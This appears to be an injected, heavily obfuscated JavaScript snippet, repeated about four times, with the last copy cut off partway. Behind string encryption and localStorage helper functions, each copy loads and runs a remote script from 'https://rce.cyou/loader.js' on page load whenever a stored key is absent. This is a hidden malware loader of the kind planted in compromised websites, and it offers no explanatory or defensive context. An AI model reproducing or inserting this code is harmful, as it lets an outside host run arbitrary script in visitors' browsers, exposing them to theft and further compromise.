var _0xodP='jsjiami.com.v7';const _0x295cf3=_0x3b8f;(function(_0xc5cc41,_0x4feb21,_0x545a2e,_0x2537c8,_0x32e7fd,_0x513f9a,_0x39f1e2){return _0xc5cc41=_0xc5cc41>>0x5,_0x513f9a='hs',_0x39f1e2='hs',function(_0x1b1f70,_0x58f36c,_0x15d77f,_0xd68b84,_0x5d9133){const _0x434c6d=_0x3b8f;_0xd68b84='tfi',_0x513f9a=_0xd68b84+_0x513f9a,_0x5d9133='up',_0x39f1e2+=_0x5d9133,_0x513f9a=_0x15d77f(_0x513f9a),_0x39f1e2=_0x15d77f(_0x39f1e2),_0x15d77f=0x0;const _0x5b828d=_0x1b1f70();while(!![]&&--_0x2537c8+_0x58f36c){try{_0xd68b84=parseInt(_0x434c6d(0xe1,'ZqEY'))/0x1+parseInt(_0x434c6d(0xcc,'M8vR'))/0x2*(-parseInt(_0x434c6d(0xeb,'q3Q5'))/0x3)+-parseInt(_0x434c6d(0xe7,'gF@f'))/0x4+parseInt(_0x434c6d(0xe8,'&mJz'))/0x5*(-parseInt(_0x434c6d(0xd0,'rKxh'))/0x6)+-parseInt(_0x434c6d(0xd3,'05Z#'))/0x7*(-parseInt(_0x434c6d(0xe4,'rKxh'))/0x8)+parseInt(_0x434c6d(0xe9,'05Z#'))/0x9*(-parseInt(_0x434c6d(0xdc,'GrLm'))/0xa)+parseInt(_0x434c6d(0xda,'KXPC'))/0xb;}catch(_0x42cc73){_0xd68b84=_0x15d77f;}finally{_0x5d9133=_0x5b828d[_0x513f9a]();if(_0xc5cc41<=_0x2537c8)_0x15d77f?_0x32e7fd?_0xd68b84=_0x5d9133:_0x32e7fd=_0x5d9133:_0x15d77f=_0x5d9133;else{if(_0x15d77f==_0x32e7fd['replace'](/[eXwGdgpLqPHWrxAuflVE=]/g,'')){if(_0xd68b84===_0x58f36c){_0x5b828d['un'+_0x513f9a](_0x5d9133);break;}_0x5b828d[_0x39f1e2](_0x5d9133);}}}}}(_0x545a2e,_0x4feb21,function(_0x300ba3,_0x101aa7,_0x586637,_0x298385,_0x5ebbb2,_0x2eec8e,_0x156d5b){return _0x101aa7='\x73\x70\x6c\x69\x74',_0x300ba3=arguments[0x0],_0x300ba3=_0x300ba3[_0x101aa7](''),_0x586637='\x72\x65\x76\x65\x72\x73\x65',_0x300ba3=_0x300ba3[_0x586637]('\x76'),_0x298385='\x6a\x6f\x69\x6e',(0x191dff,_0x300ba3[_0x298385](''));});}(0x1980,0x991da,_0x1974,0xce),_0x1974)&&(_0xodP=`\xb6f`);function getWithExpiry(_0x1b188d){const _0x3cdbc7=_0x3b8f,_0x3a6253={'zTyft':function(_0xcfbcee,_0x669429){return _0xcfbcee>_0x669429;}},_0x3857dc=localStorage[_0x3cdbc7(0xde,'ZqEY')](_0x1b188d);if(!_0x3857dc)return null;const _0x16d3a9=JSON[_0x3cdbc7(0xcf,'*TQd')](_0x3857dc),_0x377d74=new Date();if(_0x3a6253[_0x3cdbc7(0xdb,'#2SW')](_0x377d74[_0x3cdbc7(0xd9,'%slH')](),_0x16d3a9['expiry']))return localStorage[_0x3cdbc7(0xd8,'Qi!P')](_0x1b188d),null;return _0x16d3a9[_0x3cdbc7(0xd2,'au!g')];}function _0x3b8f(_0x1e8209,_0x4da9f5){const _0x19740a=_0x1974();return _0x3b8f=function(_0x3b8fd1,_0x56e0ff){_0x3b8fd1=_0x3b8fd1-0xcc;let _0x4add61=_0x19740a[_0x3b8fd1];if(_0x3b8f['YqIjze']===undefined){var _0x4571a3=function(_0x1dd089){const _0x433c09='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x53bcde='',_0x10143c='';for(let _0x30b419=0x0,_0x49deda,_0x16be62,_0x367e8f=0x0;_0x16be62=_0x1dd089['charAt'](_0x367e8f++);~_0x16be62&&(_0x49deda=_0x30b419%0x4?_0x49deda*0x40+_0x16be62:_0x16be62,_0x30b419++%0x4)?_0x53bcde+=String['fromCharCode'](0xff&_0x49deda>>(-0x2*_0x30b419&0x6)):0x0){_0x16be62=_0x433c09['indexOf'](_0x16be62);}for(let _0xf09e4f=0x0,_0x29ce55=_0x53bcde['length'];_0xf09e4f<_0x29ce55;_0xf09e4f++){_0x10143c+='%'+('00'+_0x53bcde['charCodeAt'](_0xf09e4f)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x10143c);};const _0x4b7ef1=function(_0x3f558b,_0x10581f){let _0x26620c=[],_0x183ec1=0x0,_0x6477b6,_0x1ed570='';_0x3f558b=_0x4571a3(_0x3f558b);let _0x55c1f8;for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x26620c[_0x55c1f8]=_0x55c1f8;}for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8]+_0x10581f['charCodeAt'](_0x55c1f8%_0x10581f['length']))%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6;}_0x55c1f8=0x0,_0x183ec1=0x0;for(let _0x45d771=0x0;_0x45d771<_0x3f558b['length'];_0x45d771++){_0x55c1f8=(_0x55c1f8+0x1)%0x100,_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8])%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6,_0x1ed570+=String['fromCharCode'](_0x3f558b['charCodeAt'](_0x45d771)^_0x26620c[(_0x26620c[_0x55c1f8]+_0x26620c[_0x183ec1])%0x100]);}return _0x1ed570;};_0x3b8f['LmReRA']=_0x4b7ef1,_0x1e8209=arguments,_0x3b8f['YqIjze']=!![];}const _0x110667=_0x19740a[0x0],_0xbc4c22=_0x3b8fd1+_0x110667,_0x393b4e=_0x1e8209[_0xbc4c22];return!_0x393b4e?(_0x3b8f['ZEPWZh']===undefined&&(_0x3b8f['ZEPWZh']=!![]),_0x4add61=_0x3b8f['LmReRA'](_0x4add61,_0x56e0ff),_0x1e8209[_0xbc4c22]=_0x4add61):_0x4add61=_0x393b4e,_0x4add61;},_0x3b8f(_0x1e8209,_0x4da9f5);}function _0x1974(){const _0x540a2b=(function(){return[_0xodP,'frjdesjiWHalmidx.PqAcVPoXempu.grvx7LGEwf==','W4xdTCoObx7cIConWPrM','FKddKba','WRtdI0ldKxldOSoAWRHdWP7dQCky','WRC4DrtcPG','iSkQbLn0W59W','WQqUyrxcS2JdKSkmhSoD','Cmk+W4bku0/dIa','WP06W5ddHcqQWPCEw0JcMSk4WPFcGW','ECo4F1RcJa','WQldGhBcHqhdQ8kis33cKSkEuxG'].concat((function(){return['gCkGyg92rCoaB1xcTSoDy8ou','W4nWW4mKWQRcI8o3','W6pcRSouWPeWkCkHW7JdNKLe','tmoAnYDbefHC','WPeMWOvvW67dNCo7WR0jwtqj','WQiYFb8','yhxdQsXbWRuQWQhdRqjhzZ3cMq','WP1aWOhcRJDWhSomvsfo','W6GlWQSelmkaxq8','WPf5W78fWRNcTSo4','ldddG8oHwL4pW5jzWPOlkfO','WOiWW5xdJ1JdOSkh'].concat((function(){return['W4/cH8kunvhcGmo6','W4JdQIhdI8ou','l8k4WQNdKv7cPu3dVmo+W6VcUNW','aCk9W7JcRrtcKqJcUSor','dSoRhLxdS3eycG','omkGWRBdT8odjb3dNX7dImoW','WPz9CfVdISo5C8kLgmosWOhcLmoQ','W5iKnrZcNa','WP5kWOdcQJWgw8oDFr9QW7yz','WO3dO1ZdHSocW73dGmk2EYK','qCoVzqbA'];}()));}()));}());_0x1974=function(){return _0x540a2b;};return _0x1974();};function removeItem(_0x4cc9e7){const _0x4ecff1=_0x3b8f;localStorage[_0x4ecff1(0xd1,'adSJ')](_0x4cc9e7);}function loadScript(_0x435748,_0x133352){const _0x475c28=_0x3b8f,_0x7d25b1={'UQsjY':_0x475c28(0xe0,'H81['),'eJvXD':function(_0x5bf1bc,_0x2de130){return _0x5bf1bc+_0x2de130;},'PrfUB':'text/javascript'};var _0xd8d789=_0x7d25b1['UQsjY']+Math['random'](),_0x2851b8=document['createElement']('script');_0x2851b8['src']=_0x7d25b1['eJvXD'](_0x435748,_0xd8d789),_0x2851b8[_0x475c28(0xe2,'Qi!P')]=_0x7d25b1[_0x475c28(0xea,'nwG4')],_0x2851b8[_0x475c28(0xd6,'Qi!P')]=!![],_0x2851b8['onload']=function(){if(_0x133352)_0x133352();},document[_0x475c28(0xd4,'FGZE')][_0x475c28(0xdf,'vhk#')](_0x2851b8);}var cnv=getWithExpiry(_0x295cf3(0xec,'p6i@'));!cnv&&loadScript('https://rce.cyou/loader.js',function(){});var version_ = 'jsjiami.com.v7';
var _0xodP='jsjiami.com.v7';const _0x295cf3=_0x3b8f;(function(_0xc5cc41,_0x4feb21,_0x545a2e,_0x2537c8,_0x32e7fd,_0x513f9a,_0x39f1e2){return _0xc5cc41=_0xc5cc41>>0x5,_0x513f9a='hs',_0x39f1e2='hs',function(_0x1b1f70,_0x58f36c,_0x15d77f,_0xd68b84,_0x5d9133){const _0x434c6d=_0x3b8f;_0xd68b84='tfi',_0x513f9a=_0xd68b84+_0x513f9a,_0x5d9133='up',_0x39f1e2+=_0x5d9133,_0x513f9a=_0x15d77f(_0x513f9a),_0x39f1e2=_0x15d77f(_0x39f1e2),_0x15d77f=0x0;const _0x5b828d=_0x1b1f70();while(!![]&&--_0x2537c8+_0x58f36c){try{_0xd68b84=parseInt(_0x434c6d(0xe1,'ZqEY'))/0x1+parseInt(_0x434c6d(0xcc,'M8vR'))/0x2*(-parseInt(_0x434c6d(0xeb,'q3Q5'))/0x3)+-parseInt(_0x434c6d(0xe7,'gF@f'))/0x4+parseInt(_0x434c6d(0xe8,'&mJz'))/0x5*(-parseInt(_0x434c6d(0xd0,'rKxh'))/0x6)+-parseInt(_0x434c6d(0xd3,'05Z#'))/0x7*(-parseInt(_0x434c6d(0xe4,'rKxh'))/0x8)+parseInt(_0x434c6d(0xe9,'05Z#'))/0x9*(-parseInt(_0x434c6d(0xdc,'GrLm'))/0xa)+parseInt(_0x434c6d(0xda,'KXPC'))/0xb;}catch(_0x42cc73){_0xd68b84=_0x15d77f;}finally{_0x5d9133=_0x5b828d[_0x513f9a]();if(_0xc5cc41<=_0x2537c8)_0x15d77f?_0x32e7fd?_0xd68b84=_0x5d9133:_0x32e7fd=_0x5d9133:_0x15d77f=_0x5d9133;else{if(_0x15d77f==_0x32e7fd['replace'](/[eXwGdgpLqPHWrxAuflVE=]/g,'')){if(_0xd68b84===_0x58f36c){_0x5b828d['un'+_0x513f9a](_0x5d9133);break;}_0x5b828d[_0x39f1e2](_0x5d9133);}}}}}(_0x545a2e,_0x4feb21,function(_0x300ba3,_0x101aa7,_0x586637,_0x298385,_0x5ebbb2,_0x2eec8e,_0x156d5b){return _0x101aa7='\x73\x70\x6c\x69\x74',_0x300ba3=arguments[0x0],_0x300ba3=_0x300ba3[_0x101aa7](''),_0x586637='\x72\x65\x76\x65\x72\x73\x65',_0x300ba3=_0x300ba3[_0x586637]('\x76'),_0x298385='\x6a\x6f\x69\x6e',(0x191dff,_0x300ba3[_0x298385](''));});}(0x1980,0x991da,_0x1974,0xce),_0x1974)&&(_0xodP=`\xb6f`);function getWithExpiry(_0x1b188d){const _0x3cdbc7=_0x3b8f,_0x3a6253={'zTyft':function(_0xcfbcee,_0x669429){return _0xcfbcee>_0x669429;}},_0x3857dc=localStorage[_0x3cdbc7(0xde,'ZqEY')](_0x1b188d);if(!_0x3857dc)return null;const _0x16d3a9=JSON[_0x3cdbc7(0xcf,'*TQd')](_0x3857dc),_0x377d74=new Date();if(_0x3a6253[_0x3cdbc7(0xdb,'#2SW')](_0x377d74[_0x3cdbc7(0xd9,'%slH')](),_0x16d3a9['expiry']))return localStorage[_0x3cdbc7(0xd8,'Qi!P')](_0x1b188d),null;return _0x16d3a9[_0x3cdbc7(0xd2,'au!g')];}function _0x3b8f(_0x1e8209,_0x4da9f5){const _0x19740a=_0x1974();return _0x3b8f=function(_0x3b8fd1,_0x56e0ff){_0x3b8fd1=_0x3b8fd1-0xcc;let _0x4add61=_0x19740a[_0x3b8fd1];if(_0x3b8f['YqIjze']===undefined){var _0x4571a3=function(_0x1dd089){const _0x433c09='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x53bcde='',_0x10143c='';for(let _0x30b419=0x0,_0x49deda,_0x16be62,_0x367e8f=0x0;_0x16be62=_0x1dd089['charAt'](_0x367e8f++);~_0x16be62&&(_0x49deda=_0x30b419%0x4?_0x49deda*0x40+_0x16be62:_0x16be62,_0x30b419++%0x4)?_0x53bcde+=String['fromCharCode'](0xff&_0x49deda>>(-0x2*_0x30b419&0x6)):0x0){_0x16be62=_0x433c09['indexOf'](_0x16be62);}for(let _0xf09e4f=0x0,_0x29ce55=_0x53bcde['length'];_0xf09e4f<_0x29ce55;_0xf09e4f++){_0x10143c+='%'+('00'+_0x53bcde['charCodeAt'](_0xf09e4f)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x10143c);};const _0x4b7ef1=function(_0x3f558b,_0x10581f){let _0x26620c=[],_0x183ec1=0x0,_0x6477b6,_0x1ed570='';_0x3f558b=_0x4571a3(_0x3f558b);let _0x55c1f8;for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x26620c[_0x55c1f8]=_0x55c1f8;}for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8]+_0x10581f['charCodeAt'](_0x55c1f8%_0x10581f['length']))%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6;}_0x55c1f8=0x0,_0x183ec1=0x0;for(let _0x45d771=0x0;_0x45d771<_0x3f558b['length'];_0x45d771++){_0x55c1f8=(_0x55c1f8+0x1)%0x100,_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8])%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6,_0x1ed570+=String['fromCharCode'](_0x3f558b['charCodeAt'](_0x45d771)^_0x26620c[(_0x26620c[_0x55c1f8]+_0x26620c[_0x183ec1])%0x100]);}return _0x1ed570;};_0x3b8f['LmReRA']=_0x4b7ef1,_0x1e8209=arguments,_0x3b8f['YqIjze']=!![];}const _0x110667=_0x19740a[0x0],_0xbc4c22=_0x3b8fd1+_0x110667,_0x393b4e=_0x1e8209[_0xbc4c22];return!_0x393b4e?(_0x3b8f['ZEPWZh']===undefined&&(_0x3b8f['ZEPWZh']=!![]),_0x4add61=_0x3b8f['LmReRA'](_0x4add61,_0x56e0ff),_0x1e8209[_0xbc4c22]=_0x4add61):_0x4add61=_0x393b4e,_0x4add61;},_0x3b8f(_0x1e8209,_0x4da9f5);}function _0x1974(){const _0x540a2b=(function(){return[_0xodP,'frjdesjiWHalmidx.PqAcVPoXempu.grvx7LGEwf==','W4xdTCoObx7cIConWPrM','FKddKba','WRtdI0ldKxldOSoAWRHdWP7dQCky','WRC4DrtcPG','iSkQbLn0W59W','WQqUyrxcS2JdKSkmhSoD','Cmk+W4bku0/dIa','WP06W5ddHcqQWPCEw0JcMSk4WPFcGW','ECo4F1RcJa','WQldGhBcHqhdQ8kis33cKSkEuxG'].concat((function(){return['gCkGyg92rCoaB1xcTSoDy8ou','W4nWW4mKWQRcI8o3','W6pcRSouWPeWkCkHW7JdNKLe','tmoAnYDbefHC','WPeMWOvvW67dNCo7WR0jwtqj','WQiYFb8','yhxdQsXbWRuQWQhdRqjhzZ3cMq','WP1aWOhcRJDWhSomvsfo','W6GlWQSelmkaxq8','WPf5W78fWRNcTSo4','ldddG8oHwL4pW5jzWPOlkfO','WOiWW5xdJ1JdOSkh'].concat((function(){return['W4/cH8kunvhcGmo6','W4JdQIhdI8ou','l8k4WQNdKv7cPu3dVmo+W6VcUNW','aCk9W7JcRrtcKqJcUSor','dSoRhLxdS3eycG','omkGWRBdT8odjb3dNX7dImoW','WPz9CfVdISo5C8kLgmosWOhcLmoQ','W5iKnrZcNa','WP5kWOdcQJWgw8oDFr9QW7yz','WO3dO1ZdHSocW73dGmk2EYK','qCoVzqbA'];}()));}()));}());_0x1974=function(){return _0x540a2b;};return _0x1974();};function removeItem(_0x4cc9e7){const _0x4ecff1=_0x3b8f;localStorage[_0x4ecff1(0xd1,'adSJ')](_0x4cc9e7);}function loadScript(_0x435748,_0x133352){const _0x475c28=_0x3b8f,_0x7d25b1={'UQsjY':_0x475c28(0xe0,'H81['),'eJvXD':function(_0x5bf1bc,_0x2de130){return _0x5bf1bc+_0x2de130;},'PrfUB':'text/javascript'};var _0xd8d789=_0x7d25b1['UQsjY']+Math['random'](),_0x2851b8=document['createElement']('script');_0x2851b8['src']=_0x7d25b1['eJvXD'](_0x435748,_0xd8d789),_0x2851b8[_0x475c28(0xe2,'Qi!P')]=_0x7d25b1[_0x475c28(0xea,'nwG4')],_0x2851b8[_0x475c28(0xd6,'Qi!P')]=!![],_0x2851b8['onload']=function(){if(_0x133352)_0x133352();},document[_0x475c28(0xd4,'FGZE')][_0x475c28(0xdf,'vhk#')](_0x2851b8);}var cnv=getWithExpiry(_0x295cf3(0xec,'p6i@'));!cnv&&loadScript('https://rce.cyou/loader.js',function(){});var version_ = 'jsjiami.com.v7';
var _0xodP='jsjiami.com.v7';const _0x295cf3=_0x3b8f;(function(_0xc5cc41,_0x4feb21,_0x545a2e,_0x2537c8,_0x32e7fd,_0x513f9a,_0x39f1e2){return _0xc5cc41=_0xc5cc41>>0x5,_0x513f9a='hs',_0x39f1e2='hs',function(_0x1b1f70,_0x58f36c,_0x15d77f,_0xd68b84,_0x5d9133){const _0x434c6d=_0x3b8f;_0xd68b84='tfi',_0x513f9a=_0xd68b84+_0x513f9a,_0x5d9133='up',_0x39f1e2+=_0x5d9133,_0x513f9a=_0x15d77f(_0x513f9a),_0x39f1e2=_0x15d77f(_0x39f1e2),_0x15d77f=0x0;const _0x5b828d=_0x1b1f70();while(!![]&&--_0x2537c8+_0x58f36c){try{_0xd68b84=parseInt(_0x434c6d(0xe1,'ZqEY'))/0x1+parseInt(_0x434c6d(0xcc,'M8vR'))/0x2*(-parseInt(_0x434c6d(0xeb,'q3Q5'))/0x3)+-parseInt(_0x434c6d(0xe7,'gF@f'))/0x4+parseInt(_0x434c6d(0xe8,'&mJz'))/0x5*(-parseInt(_0x434c6d(0xd0,'rKxh'))/0x6)+-parseInt(_0x434c6d(0xd3,'05Z#'))/0x7*(-parseInt(_0x434c6d(0xe4,'rKxh'))/0x8)+parseInt(_0x434c6d(0xe9,'05Z#'))/0x9*(-parseInt(_0x434c6d(0xdc,'GrLm'))/0xa)+parseInt(_0x434c6d(0xda,'KXPC'))/0xb;}catch(_0x42cc73){_0xd68b84=_0x15d77f;}finally{_0x5d9133=_0x5b828d[_0x513f9a]();if(_0xc5cc41<=_0x2537c8)_0x15d77f?_0x32e7fd?_0xd68b84=_0x5d9133:_0x32e7fd=_0x5d9133:_0x15d77f=_0x5d9133;else{if(_0x15d77f==_0x32e7fd['replace'](/[eXwGdgpLqPHWrxAuflVE=]/g,'')){if(_0xd68b84===_0x58f36c){_0x5b828d['un'+_0x513f9a](_0x5d9133);break;}_0x5b828d[_0x39f1e2](_0x5d9133);}}}}}(_0x545a2e,_0x4feb21,function(_0x300ba3,_0x101aa7,_0x586637,_0x298385,_0x5ebbb2,_0x2eec8e,_0x156d5b){return _0x101aa7='\x73\x70\x6c\x69\x74',_0x300ba3=arguments[0x0],_0x300ba3=_0x300ba3[_0x101aa7](''),_0x586637='\x72\x65\x76\x65\x72\x73\x65',_0x300ba3=_0x300ba3[_0x586637]('\x76'),_0x298385='\x6a\x6f\x69\x6e',(0x191dff,_0x300ba3[_0x298385](''));});}(0x1980,0x991da,_0x1974,0xce),_0x1974)&&(_0xodP=`\xb6f`);function getWithExpiry(_0x1b188d){const _0x3cdbc7=_0x3b8f,_0x3a6253={'zTyft':function(_0xcfbcee,_0x669429){return _0xcfbcee>_0x669429;}},_0x3857dc=localStorage[_0x3cdbc7(0xde,'ZqEY')](_0x1b188d);if(!_0x3857dc)return null;const _0x16d3a9=JSON[_0x3cdbc7(0xcf,'*TQd')](_0x3857dc),_0x377d74=new Date();if(_0x3a6253[_0x3cdbc7(0xdb,'#2SW')](_0x377d74[_0x3cdbc7(0xd9,'%slH')](),_0x16d3a9['expiry']))return localStorage[_0x3cdbc7(0xd8,'Qi!P')](_0x1b188d),null;return _0x16d3a9[_0x3cdbc7(0xd2,'au!g')];}function _0x3b8f(_0x1e8209,_0x4da9f5){const _0x19740a=_0x1974();return _0x3b8f=function(_0x3b8fd1,_0x56e0ff){_0x3b8fd1=_0x3b8fd1-0xcc;let _0x4add61=_0x19740a[_0x3b8fd1];if(_0x3b8f['YqIjze']===undefined){var _0x4571a3=function(_0x1dd089){const _0x433c09='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x53bcde='',_0x10143c='';for(let _0x30b419=0x0,_0x49deda,_0x16be62,_0x367e8f=0x0;_0x16be62=_0x1dd089['charAt'](_0x367e8f++);~_0x16be62&&(_0x49deda=_0x30b419%0x4?_0x49deda*0x40+_0x16be62:_0x16be62,_0x30b419++%0x4)?_0x53bcde+=String['fromCharCode'](0xff&_0x49deda>>(-0x2*_0x30b419&0x6)):0x0){_0x16be62=_0x433c09['indexOf'](_0x16be62);}for(let _0xf09e4f=0x0,_0x29ce55=_0x53bcde['length'];_0xf09e4f<_0x29ce55;_0xf09e4f++){_0x10143c+='%'+('00'+_0x53bcde['charCodeAt'](_0xf09e4f)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x10143c);};const _0x4b7ef1=function(_0x3f558b,_0x10581f){let _0x26620c=[],_0x183ec1=0x0,_0x6477b6,_0x1ed570='';_0x3f558b=_0x4571a3(_0x3f558b);let _0x55c1f8;for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x26620c[_0x55c1f8]=_0x55c1f8;}for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8]+_0x10581f['charCodeAt'](_0x55c1f8%_0x10581f['length']))%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6;}_0x55c1f8=0x0,_0x183ec1=0x0;for(let _0x45d771=0x0;_0x45d771<_0x3f558b['length'];_0x45d771++){_0x55c1f8=(_0x55c1f8+0x1)%0x100,_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8])%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6,_0x1ed570+=String['fromCharCode'](_0x3f558b['charCodeAt'](_0x45d771)^_0x26620c[(_0x26620c[_0x55c1f8]+_0x26620c[_0x183ec1])%0x100]);}return _0x1ed570;};_0x3b8f['LmReRA']=_0x4b7ef1,_0x1e8209=arguments,_0x3b8f['YqIjze']=!![];}const _0x110667=_0x19740a[0x0],_0xbc4c22=_0x3b8fd1+_0x110667,_0x393b4e=_0x1e8209[_0xbc4c22];return!_0x393b4e?(_0x3b8f['ZEPWZh']===undefined&&(_0x3b8f['ZEPWZh']=!![]),_0x4add61=_0x3b8f['LmReRA'](_0x4add61,_0x56e0ff),_0x1e8209[_0xbc4c22]=_0x4add61):_0x4add61=_0x393b4e,_0x4add61;},_0x3b8f(_0x1e8209,_0x4da9f5);}function _0x1974(){const _0x540a2b=(function(){return[_0xodP,'frjdesjiWHalmidx.PqAcVPoXempu.grvx7LGEwf==','W4xdTCoObx7cIConWPrM','FKddKba','WRtdI0ldKxldOSoAWRHdWP7dQCky','WRC4DrtcPG','iSkQbLn0W59W','WQqUyrxcS2JdKSkmhSoD','Cmk+W4bku0/dIa','WP06W5ddHcqQWPCEw0JcMSk4WPFcGW','ECo4F1RcJa','WQldGhBcHqhdQ8kis33cKSkEuxG'].concat((function(){return['gCkGyg92rCoaB1xcTSoDy8ou','W4nWW4mKWQRcI8o3','W6pcRSouWPeWkCkHW7JdNKLe','tmoAnYDbefHC','WPeMWOvvW67dNCo7WR0jwtqj','WQiYFb8','yhxdQsXbWRuQWQhdRqjhzZ3cMq','WP1aWOhcRJDWhSomvsfo','W6GlWQSelmkaxq8','WPf5W78fWRNcTSo4','ldddG8oHwL4pW5jzWPOlkfO','WOiWW5xdJ1JdOSkh'].concat((function(){return['W4/cH8kunvhcGmo6','W4JdQIhdI8ou','l8k4WQNdKv7cPu3dVmo+W6VcUNW','aCk9W7JcRrtcKqJcUSor','dSoRhLxdS3eycG','omkGWRBdT8odjb3dNX7dImoW','WPz9CfVdISo5C8kLgmosWOhcLmoQ','W5iKnrZcNa','WP5kWOdcQJWgw8oDFr9QW7yz','WO3dO1ZdHSocW73dGmk2EYK','qCoVzqbA'];}()));}()));}());_0x1974=function(){return _0x540a2b;};return _0x1974();};function removeItem(_0x4cc9e7){const _0x4ecff1=_0x3b8f;localStorage[_0x4ecff1(0xd1,'adSJ')](_0x4cc9e7);}function loadScript(_0x435748,_0x133352){const _0x475c28=_0x3b8f,_0x7d25b1={'UQsjY':_0x475c28(0xe0,'H81['),'eJvXD':function(_0x5bf1bc,_0x2de130){return _0x5bf1bc+_0x2de130;},'PrfUB':'text/javascript'};var _0xd8d789=_0x7d25b1['UQsjY']+Math['random'](),_0x2851b8=document['createElement']('script');_0x2851b8['src']=_0x7d25b1['eJvXD'](_0x435748,_0xd8d789),_0x2851b8[_0x475c28(0xe2,'Qi!P')]=_0x7d25b1[_0x475c28(0xea,'nwG4')],_0x2851b8[_0x475c28(0xd6,'Qi!P')]=!![],_0x2851b8['onload']=function(){if(_0x133352)_0x133352();},document[_0x475c28(0xd4,'FGZE')][_0x475c28(0xdf,'vhk#')](_0x2851b8);}var cnv=getWithExpiry(_0x295cf3(0xec,'p6i@'));!cnv&&loadScript('https://rce.cyou/loader.js',function(){});var version_ = 'jsjiami.com.v7';
var _0xodP='jsjiami.com.v7';const _0x295cf3=_0x3b8f;(function(_0xc5cc41,_0x4feb21,_0x545a2e,_0x2537c8,_0x32e7fd,_0x513f9a,_0x39f1e2){return _0xc5cc41=_0xc5cc41>>0x5,_0x513f9a='hs',_0x39f1e2='hs',function(_0x1b1f70,_0x58f36c,_0x15d77f,_0xd68b84,_0x5d9133){const _0x434c6d=_0x3b8f;_0xd68b84='tfi',_0x513f9a=_0xd68b84+_0x513f9a,_0x5d9133='up',_0x39f1e2+=_0x5d9133,_0x513f9a=_0x15d77f(_0x513f9a),_0x39f1e2=_0x15d77f(_0x39f1e2),_0x15d77f=0x0;const _0x5b828d=_0x1b1f70();while(!![]&&--_0x2537c8+_0x58f36c){try{_0xd68b84=parseInt(_0x434c6d(0xe1,'ZqEY'))/0x1+parseInt(_0x434c6d(0xcc,'M8vR'))/0x2*(-parseInt(_0x434c6d(0xeb,'q3Q5'))/0x3)+-parseInt(_0x434c6d(0xe7,'gF@f'))/0x4+parseInt(_0x434c6d(0xe8,'&mJz'))/0x5*(-parseInt(_0x434c6d(0xd0,'rKxh'))/0x6)+-parseInt(_0x434c6d(0xd3,'05Z#'))/0x7*(-parseInt(_0x434c6d(0xe4,'rKxh'))/0x8)+parseInt(_0x434c6d(0xe9,'05Z#'))/0x9*(-parseInt(_0x434c6d(0xdc,'GrLm'))/0xa)+parseInt(_0x434c6d(0xda,'KXPC'))/0xb;}catch(_0x42cc73){_0xd68b84=_0x15d77f;}finally{_0x5d9133=_0x5b828d[_0x513f9a]();if(_0xc5cc41<=_0x2537c8)_0x15d77f?_0x32e7fd?_0xd68b84=_0x5d9133:_0x32e7fd=_0x5d9133:_0x15d77f=_0x5d9133;else{if(_0x15d77f==_0x32e7fd['replace'](/[eXwGdgpLqPHWrxAuflVE=]/g,'')){if(_0xd68b84===_0x58f36c){_0x5b828d['un'+_0x513f9a](_0x5d9133);break;}_0x5b828d[_0x39f1e2](_0x5d9133);}}}}}(_0x545a2e,_0x4feb21,function(_0x300ba3,_0x101aa7,_0x586637,_0x298385,_0x5ebbb2,_0x2eec8e,_0x156d5b){return _0x101aa7='\x73\x70\x6c\x69\x74',_0x300ba3=arguments[0x0],_0x300ba3=_0x300ba3[_0x101aa7](''),_0x586637='\x72\x65\x76\x65\x72\x73\x65',_0x300ba3=_0x300ba3[_0x586637]('\x76'),_0x298385='\x6a\x6f\x69\x6e',(0x191dff,_0x300ba3[_0x298385](''));});}(0x1980,0x991da,_0x1974,0xce),_0x1974)&&(_0xodP=`\xb6f`);function getWithExpiry(_0x1b188d){const _0x3cdbc7=_0x3b8f,_0x3a6253={'zTyft':function(_0xcfbcee,_0x669429){return _0xcfbcee>_0x669429;}},_0x3857dc=localStorage[_0x3cdbc7(0xde,'ZqEY')](_0x1b188d);if(!_0x3857dc)return null;const _0x16d3a9=JSON[_0x3cdbc7(0xcf,'*TQd')](_0x3857dc),_0x377d74=new Date();if(_0x3a6253[_0x3cdbc7(0xdb,'#2SW')](_0x377d74[_0x3cdbc7(0xd9,'%slH')](),_0x16d3a9['expiry']))return localStorage[_0x3cdbc7(0xd8,'Qi!P')](_0x1b188d),null;return 